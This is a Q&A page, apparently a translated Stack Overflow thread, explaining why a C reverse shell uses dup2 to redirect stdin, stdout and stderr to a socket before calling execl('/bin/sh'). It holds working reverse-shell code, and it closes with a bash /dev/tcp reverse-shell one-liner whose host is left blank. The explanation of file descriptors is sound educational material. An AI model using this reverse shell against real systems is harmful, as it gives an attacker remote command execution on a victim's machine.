为什么在此 C 反向 shell 代码中需要 dup2?

Why is dup2 necessary in this C reverse shell code?

我遇到了这个反向 shell 代码,它是用 c 语言编写的。

main(){
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sock_addr;
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(8080);
    sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));   

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    execl("/bin/sh", NULL);
}

我想了解它,所以我了解了文件描述符,因为使用了dup2。现在的问题是我不明白为什么。

socket 的手册页让我假设,stdin、stdout 和 stderr 正在被 socket 取代。

[...] The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process.

这个假设是真的吗?如果是,您为什么要重置默认流?是因为下面的 execl("/bin/sh", NULL) 行,正如 this 线程暗示的那样?

文件描述符

每个文件、套接字、管道等...在您的进程中都由一个数字唯一标识,称为文件描述符。
如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从 0 开始。

前3个文件描述符各有特殊作用:

FD C Constant
0 STDIN_FILENO
1 STDOUT_FILENO
2 STDERR_FILENO

如果需要,您可以随时通过查询 /proc 查看文件描述符(以及它们所指的内容),例如:

ls -l /proc/<pid of your process>/fd

execve 及其朋友

execve 用参数指定的新进程替换当前进程。
您的进程打开的所有文件描述符将保持打开状态¹,新进程可以使用它们。

¹ 除了标记为 close-on-exec

你的程序做什么

程序启动后,您的文件描述符可能如下所示:

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1

(只是普通的标准输入、标准输出、标准错误,连接到普通终端)

之后你分配一个套接字: int sock = socket(AF_INET, SOCK_STREAM, 0);

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

然后连接插座并连接到 dup2。 dup2 克隆一个文件描述符,并且 - 与 dup 不同 - 为其分配一个 特定的 文件描述符编号(如果该 fd 已在使用中,它将首先关闭)

所以在 dup2(sock, STDIN_FILENO); 之后,您的 fd 将如下所示:

0 -> [socket:12345]
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

所以在 execl 之前,fd 将是:

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

然后您的进程执行到 /bin/sh,用 shell 替换当前进程。

所以现在你有一个 shell,它的输入和输出连接到你创建的套接字,有效地允许套接字另一端的程序发送任意 shell 命令,这将由 /bin/sh 执行并通过套接字返回输出。

正如@JonathanLeffler 在评论中指出的那样,fd 3 可以在 exec 之前关闭,因为它不需要。

为什么不用 dup 而不是 dup2

使用 dup,就像您引用的那样,将为您提供流程中可用的最低可用 fd。

因此可以执行以下操作:

close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup(sock);
dup(sock);
dup(sock);

关闭将关闭 fd 0-2:

3 -> [socket:12345]

并且 dup 会将 fd 3 复制到 0-2(你总是得到最低的可用数字,即使它们是 stdin、stdout 或 stderr)

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

但是,如果您有其他正在创建 fd 的线程,这可能会出错(例如,另一个线程可能只是在您关闭 stdin 后创建一个新的 fd,因此它得到 fd 0,而您的 dup() 稍后会得到 4).

这就是 dup2() 的意义所在:精确分配特定的 fd(在本例中为 stdin、stdout、stderr)。

The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. In other words, the file descriptor newfd is adjusted so that it now refers to the same open file description as oldfd.

还有 dup3,除了 dup2 可以做的之外,它还允许您指定标志,例如O_CLOEXEC,执行时会自动关闭fd。

使用bash

的最简单方法
#  ip address
#  remote port 
/bin/bash -i >& /dev/tcp// 0>&1